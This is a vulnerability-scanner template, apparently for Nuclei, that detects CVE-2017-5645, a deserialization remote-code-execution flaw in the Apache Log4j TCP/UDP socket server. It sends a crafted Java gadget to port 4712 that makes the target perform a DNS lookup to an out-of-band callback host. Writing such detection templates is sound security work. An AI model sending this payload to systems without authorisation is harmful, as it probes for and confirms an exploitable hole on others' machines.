id: CVE-2017-5645 info: name: Apache Log4j Server - Deserialization Command Execution author: princechaddha severity: critical description: | In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code. reference: - https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2017-5645 - https://nvd.nist.gov/vuln/detail/CVE-2017-5645 classification: cve-id: CVE-2017-5645 metadata: max-request: 2 tags: vulhub,network,apache,log4j,rce,deserialization,oast variables: end: "\r\n" tcp: - inputs: - data: "{{generate_java_gadget('dns', 'http://{{interactsh-url}}', 'hex')+concat(end)}}" host: - "{{Hostname}}" - "{{Host}}:4712" read-size: 100 matchers: - type: word part: interactsh_protocol words: - dns